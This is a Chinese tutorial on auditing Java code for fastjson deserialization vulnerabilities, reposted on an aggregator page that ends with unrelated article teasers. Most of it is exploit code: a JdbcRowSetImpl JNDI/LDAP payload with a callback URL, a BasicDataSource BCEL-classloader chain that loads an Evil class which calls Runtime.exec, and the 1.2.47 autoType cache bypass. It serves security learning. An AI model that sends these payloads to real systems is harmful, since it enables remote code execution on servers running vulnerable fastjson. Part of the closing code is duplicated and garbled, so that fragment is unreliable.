java代码审计之fastjson反序列化漏洞

fastjson反序列化漏洞分析

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。该产品主要提供了两个接口,JSON.toJSONString和JSON.parseObject/JSON.parse分别实现序列化和反序列化。

1. Fastjson使用

  1. 新建一个maven项目,引入对应的依赖包
		<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency>
  1. 新建一个类
package org.example;import java.io.Serializable;public class Person{private String name;private int age;private boolean sex;public Person() {System.out.println("执行构造函数方法");}public String getName() {System.out.println("执行获取到name方法");return name;}public void setName(String name) {System.out.println("执行到setage方法");this.name = name;}public int getAge() {System.out.println("执行获取到age方法");return age;}public void setAge(int age) {System.out.println("执行setage方法");this.age = age;}public boolean isSex() {return sex;}public void setSex(boolean sex) {System.out.println("执行到setSex方法");this.sex = sex;}
}
  1. json序列化
package org.example;import com.alibaba.fastjson.JSON;public class Main {public static void main(String[] args) {Person person = new Person();person.setName("小明");person.setAge(18);person.setSex(false);String jsonString = JSON.toJSONString(person);System.out.println(jsonString);}
}
//输出:{"age":18,"name":"小明","sex":false}
  • 不使用 SerializerFeature.WriteClassName:生成的 JSON 数据不包含类的全限定名。
  • 使用 SerializerFeature.WriteClassName:生成的 JSON 数据包含类的全限定名(以 @type 字段表示)。
package org.example;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;public class Main {public static void main(String[] args) {Person person = new Person();person.setName("小明");person.setAge(18);person.setSex(false);String jsonString = JSON.toJSONString(person, SerializerFeature.WriteClassName);System.out.println(jsonString);}
}
//输出:{"@type":"org.example.Person","age":18,"name":"小明","sex":false}
  1. 反序列化

在fastjson中,使用JSON.parseObject进行反序列化,及将JSON字符串转化为对象

使用:

package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;public class Main {public static void main(String[] args) {String json1 = "{\"age\":18,\"name\":\"小明\",\"sex\":false}";JSONObject jsonObj = JSON.parseObject(json1);   //将字符串解析为json对象System.out.println(jsonObj.getString("age"));     //获取age的值}
}

反序列化为javaBean对象:

package org.example;
import com.alibaba.fastjson.JSON;public class Main {public static void main(String[] args) {String json1 = "{\"age\":18,\"name\":\"小明\",\"sex\":false}";Person json2 = JSON.parseObject(json1,Person.class);System.out.println(json2);}
}
//执行setage方法
//执行到setage方法
//执行到setSex方法
//org.example.Person@4ccabbaa

增加@type属性指定其解析为特定类

package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;public class Main {public static void main(String[] args) {String json1 = "{\"@type\":\"org.example.Person\",\"age\":18,\"name\":\"小明\",\"sex\":false}";JSONObject json2 = JSON.parseObject(json1);System.out.println(json2.getString("age"));}
}
//执行构造函数方法
//执行setage方法
//执行到setage方法
//执行到setSex方法
//执行获取到age方法
//执行获取到name方法
//18

fastjson反序列化漏洞1-流程分析_哔哩哔哩_bilibili

由于在进行反序列化的时候,会调用set方法,因此,当找到一个可以执行类的set方法,就可以构造恶意参数,执行代码

package org.example;import java.io.IOException;public class Test {private String cmd;public String getCmd() {return cmd;}public void setCmd(String cmd) throws IOException {this.cmd = cmd;Runtime.getRuntime().exec(cmd);}
}
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;public class Main {public static void main(String[] args) {String json1 = "{\"@type\":\"org.example.Test\",\"cmd\":\"calc\"}";JSONObject json2 = JSON.parseObject(json1);System.out.println(json2);}
}

2. fastjson1.2.24漏洞利用

<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.47</version></dependency><dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-dbcp</artifactId><version>9.0.20</version></dependency><dependency><groupId>org.springframework</groupId><artifactId>spring-core</artifactId><version>4.2.4.RELEASE</version></dependency>

fastjson反序列化与原生反序列化的不同点:

  1. fastjson反序列化不需要实现Serializable
  2. 变量有对应的setter或满足条件的getter(满足第二图的get方法)或者public属性,原生的变量不需要不是transient

image-20240525185408287

image-20240525185444591

  1. 原生的爆发点为readObject,fastjson是setter/getter
  • 查找流程:先找到恶意类,然后找到getter、setter方法

按CTRL+N搜索jdbcRowSet

image-20240525190559880

存在JNDI注入:

image-20240526161855073

追踪getDataSourceName(),DataSourceName变量是可控的

image-20240526165726979

因此,该链为

setAutoCommit--->connection()方法----->DataSourceNmer为恶意参数。
package org.example;import com.alibaba.fastjson.JSON;//TIP To <b>Run</b> code, press <shortcut actionId="Run"/> or
// click the <icon src="AllIcons.Actions.Execute"/> icon in the gutter.
public class Main {public static void main(String[] args) {String s  = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/hwgPemYJ\",\"autoCommit\":true}";System.out.println(JSON.parseObject(s));}
}

设置Yakit反连

image-20240526214102060

image-20240526214017619

fastjson利用jndi注入来远程加载恶意类的方法,如果机器在内网无法访问互联网那么这种方法就失败了并且受版本依赖限制。

在jdk中含有import com.sun.org.apache.bcel.internal.util.ClassLoader;`中,存在defineClass可以实现从字节码直接生成一个类。

image-20240528164937472

正常使用如下:

恶意类:(使用需要使用同版本的java编译为.class文件)

package org.example;import java.io.IOException;
import java.lang.Runtime;
import java.lang.Process;public class Evil {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}
}
package org.example;import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;public class Main {public static void main(String[] args) throws Exception {//不考虑fastjson情况就正常调用该类ClassLoader classLoader = new ClassLoader();byte[] bytes = convert(new File("D:\\Code\\javaCode\\Demo03\\src\\main\\java\\org\\example\\Evil.class"));String code = Utility.encode(bytes, true);classLoader.loadClass("$$BCEL$$"+code).newInstance();}//将文件转为字节码数组public static byte[] convert(File file){try {InputStream fis = new FileInputStream(file);byte[] bytes = FileCopyUtils.copyToByteArray(fis);return bytes;}catch (Exception ex){throw new RuntimeException("transform file into bin Array 出错",ex);}}}

接着考虑如何调用到classLoader.loadClass()在BasicDataSource()中存在forname,可以控制类加载器,将其改为classLoader类加载器。

image-20240528223029920

上下文查看有driverClassName、driverClassLoader对应的get/set方法,然后通过use查询,是否有调用createConnectionFactory方法,并实现get/set方法。

image-20240529080706605

image-20240529080858709

通过调用,当调用getConnection()时,实现调用

package org.example;import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;public class Main {public static void main(String[] args) throws Exception {//不考虑fastjson情况就正常调用该类ClassLoader classLoader = new ClassLoader();byte[] bytes = convert(new File("D:\\Code\\javaCode\\Demo03\\src\\main\\java\\org\\example\\Evil.class"));String code = Utility.encode(bytes, true);
//        classLoader.loadClass("$$BCEL$$"+code).newInstance();BasicDataSource basicDataSource = new BasicDataSource();basicDataSource.setDriverClassLoader(classLoader);basicDataSource.setDriverClassName("$$BCEL$$"+code);basicDataSource.getConnection();}//将文件转为字节码数组public static byte[] convert(File file){try {InputStream fis = new FileInputStream(file);byte[] bytes = FileCopyUtils.copyToByteArray(fis);return bytes;}catch (Exception ex){throw new RuntimeException("出错",ex);}}}
package org.example;import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;public class Main {public static void main(String[] args) throws Exception {byte[] bytes = convert(new File("D:\\Code\\javaCode\\Demo03\\src\\main\\java\\org\\example\\Evil.class"));String code = Utility.encode(bytes, true);String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$"+code+"\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";JSON.parseObject(s);}//将文件转为字节码数组public static byte[] convert(File file){try {InputStream fis = new FileInputStream(file);byte[] bytes = FileCopyUtils.copyToByteArray(fis);return bytes;}catch (Exception ex){throw new RuntimeException("transform file into bin Array 出错",ex);}}}

3. fastjson反序列化漏洞<=1.2.47

fastjson1.2.24之后,为了修复这个漏洞,引入checkAutoType,首先进行类型检查,再返回类。

image-20240529215309631

如果autoTypeSupport=true或者expectClass不是null,将进行黑白名单的判断。(白名单空的,黑名单可能造成危害的类)

image-20240529215247810

不满足,然后从以下两个缓存去查找,如果可以控制缓存,则可以调用恶意类。

image-20240529220625941

通过对mappinguse查找,当进行loadClass时,有将className放在mappings中(及如果之前加载之后,就不进行加载直接从mappings找)

image-20240529222714862

对loadClass进行use查找,则在MiscCode中deserialze中调用了loadClass函数

image-20240529223201245

在这里可以进行正常的加载,将其放入缓存里,如果提前将恶意类提前放进缓存里,则可绕过检查。

image-20240529224109150

构造恶意类

package org.example;import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;public class Main {public static void main(String[] args) throws Exception {byte[] bytes = convert(new File("D:\\Code\\javaCode\\Demo03\\src\\main\\java\\org\\example\\Evil.class"));String code = Utility.encode(bytes, true);
//        第一步将com.sun.rowset.JdbcRowSetImpl放入缓存。String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/XBGdpMmR\",\"autoCommit\":true}}";JSON.parseObject(s);}//将文件转为字节码数组public static byte[] convert(File file){try {InputStream fis = new FileInputStream(file);byte[] bytes = FileCopyUtils.copyToByteArray(fis);return bytes;}catch (Exception ex){throw new RuntimeException("transform file into bin Array 出错",ex);}}}

utoCommit":true}}";
JSON.parseObject(s);
}

    //将文件转为字节码数组public static byte[] convert(File file){try {InputStream fis = new FileInputStream(file);byte[] bytes = FileCopyUtils.copyToByteArray(fis);return bytes;}catch (Exception ex){throw new RuntimeException("transform file into bin Array 出错",ex);}}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/846345.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

STM32作业实现(六)闪存保存数据

目录 STM32作业设计 STM32作业实现(一)串口通信 STM32作业实现(二)串口控制led STM32作业实现(三)串口控制有源蜂鸣器 STM32作业实现(四)光敏传感器 STM32作业实现(五)温湿度传感器dht11 STM32作业实现(六)闪存保存数据 STM32作业实现(七)OLED显示数据 STM32作业实现(八)触摸按…

Mistral大模型:Getting Started With Mistral

Getting Started With Mistral 本文是学习 https://www.deeplearning.ai/short-courses/getting-started-with-mistral/ 这门课的学习笔记。 What you’ll learn in this course In this course, you’ll access Mistral AI’s collection of open source and commercial mod…

物联网实战--平台篇之(十二)设备管理前端

目录 一、界面演示 二、设备列表 三、抖动单元格 四、设备模型 五、设备编辑 本项目的交流QQ群:701889554 物联网实战--入门篇https://blog.csdn.net/ypp240124016/category_12609773.html 物联网实战--驱动篇https://blog.csdn.net/ypp240124016/category_12631333.htm…

Java利用POI绘制表格

前提需求 最近公司要求写一些记录的表格&#xff0c;并且带有导出功能。再深入学习后&#xff0c;表格的底层其实就是list遍历塞值&#xff0c;导出功能的话可以由前端&#xff0c;后端实现&#xff0c;但技多不压身嘛&#xff0c;这里我自己就写了后端的导出功能&#xff0c;…

day-37 电话号码的字母组合

思路 设置一个char型的二维数组&#xff0c;每次从号码对应的子母中选出一个&#xff0c;拼接在一起即可 解题方法 注意&#xff1a;有的数字对应三个字母&#xff0c;有的对应四个字母 Code class Solution {public char arr[][]{{a,b,c, },{d,e,f, },{g,h,i, },{j,k,l, },…

虚拟现实环境下的远程教育和智能评估系统(三)

本周继续进行开发工具的选择与学习&#xff0c;基本了解了以下技术栈的部署应用&#xff1b; 一、Seata&#xff1a; Seata&#xff08;Simple Extensible Autonomous Transaction Architecture&#xff09;是一款开源的分布式事务解决方案&#xff0c;旨在提供高性能和简单易…

力扣575. 分糖果

题目&#xff1a; Alice 有 n 枚糖&#xff0c;其中第 i 枚糖的类型为 candyType[i] 。Alice 注意到她的体重正在增长&#xff0c;所以前去拜访了一位医生。 医生建议 Alice 要少摄入糖分&#xff0c;只吃掉她所有糖的 n / 2 即可&#xff08;n 是一个偶数&#xff09;。Alic…

智能监控技术助力山林生态养鸡:打造智慧安全的养殖新模式

随着现代科技的不断发展&#xff0c;智能化、自动化的养殖方式逐渐受到广大养殖户的青睐。特别是在山林生态养鸡领域&#xff0c;智能化监控方案的引入不仅提高了养殖效率&#xff0c;更有助于保障鸡只的健康与安全。视频监控系统EasyCVR视频汇聚/安防监控视频管理平台在山林生…

攻防世界---misc---心仪的公司

1、题目描述 2、下载附件是一个流量包 方法一&#xff1a; 1、用winhex分析&#xff0c;ctrlf搜索flag 2、尝试将搜索到的flag拿去提交&#xff0c;但是不对 3、担心flag不是长flag&#xff0c;做题多了你就会发现有些flag会是fl4g这种&#xff0c;为了可以稍微全面一点&…

6.2 休息日 背包问题总结

就目前所遇到的01背包与完全背包作总结。 01背包 有n件物品和一个最多能背重量为w 的背包。第i件物品的重量是weight[i]&#xff0c;得到的价值是value[i] 。每件物品只能用一次&#xff0c;求解将哪些物品装入背包里物品价值总和最大。 二维dp数组01背包 动规五部曲 1.确定…

IO流(2)

缓冲流 字节缓冲流 利用字节缓冲区拷贝文件&#xff0c;一次读取一个字节&#xff1a; public class test {public static void main(String [] args) throws IOException {//利用字节缓冲区来拷贝文件BufferedInputStream bisnew BufferedInputStream(new FileInputStream(&…

STM32作业实现(四)光敏传感器

目录 STM32作业设计 STM32作业实现(一)串口通信 STM32作业实现(二)串口控制led STM32作业实现(三)串口控制有源蜂鸣器 STM32作业实现(四)光敏传感器 STM32作业实现(五)温湿度传感器dht11 STM32作业实现(六)闪存保存数据 STM32作业实现(七)OLED显示数据 STM32作业实现(八)触摸按…

Java网络编程(上)

White graces&#xff1a;个人主页 &#x1f649;专栏推荐:Java入门知识&#x1f649; &#x1f649; 内容推荐:Java文件IO&#x1f649; &#x1f439;今日诗词:来如春梦几多时&#xff1f;去似朝云无觅处&#x1f439; ⛳️点赞 ☀️收藏⭐️关注&#x1f4ac;卑微小博主&a…

【Qt知识】disconnect

在Qt框架中&#xff0c;disconnect函数用于断开信号与槽之间的连接。当不再需要某个信号触发特定槽函数时&#xff0c;或者为了防止内存泄漏和重复执行问题&#xff0c;你可以使用disconnect来取消这种关联。disconnect函数的基本用法可以根据不同的需求采用多种形式&#xff0…

C++对C的增强

1、作用域运算符 ::解决归属问题&#xff08;谁是谁的谁&#xff09; 可以优先使用全局变量 2、命名空间 使用关键字namespace&#xff0c;控制标名称的作用域。 命名空间的本质&#xff1a;对符号常量、变量、函数、结构、枚举、类和对象等等进行封装 1、创建一个命名空间…

图解DSPy:Prompt的时代终结者?!

大模型技术论文不断&#xff0c;每个月总会新增上千篇。本专栏精选论文重点解读&#xff0c;主题还是围绕着行业实践和工程量产。若在某个环节出现卡点&#xff0c;可以回到大模型必备腔调重新阅读。而最新科技&#xff08;Mamba&#xff0c;xLSTM,KAN&#xff09;则提供了大模…

多元联合分布建模 Copula python实例

多元联合分布建模 Copula python实例 目录 库安装 实例可视化代码 库安装 pip install copulas 实例可视化代码 import numpy as np import pandas as pd from copulas.multivariate import GaussianMultivariate# Generate some example data np.random.seed(42) data = …

ChatTTS:开源最强文本转真人语音工具

目录 1.前言 2.详细介绍 2.1 什么是ChatTTS 2.2 项目地址: 2.3 应用特点: 3.如何安装和使用 3.1.谷歌colab 3.1.1.点击链接 3.1.2 进行保存 3.1.3 按照流程依次点击运行 3.1.4 填写自己需要转的文字 3.2 本地运行 3.2.1 下载或克隆项目源码到本地 3.2.2 …

算法每日一题(python,2024.05.31)

题目来源&#xff08;力扣. - 力扣&#xff08;LeetCode&#xff09;&#xff0c;简单&#xff09; 解题思路&#xff1a; 二次遍历&#xff0c;第一次遍历用哈希表记录每个字母的出现次数&#xff0c;出现一次则将它的value值赋为True&#xff0c;将它的下标赋为key值&#x…

HTTPS加密

一.加密是什么 加密就是把明文(要传输的信息)进行一系列的变换,生成密文. 有加密就有解密,解密就是把密文进行一系列的变换,生成明文. 在这个加密和解密过程中,往往需要一个或多个中间数据,辅助进行这个过程,这样的数据称为密钥. 加密解密到如今已经发展成了一个独立的学科 : 密…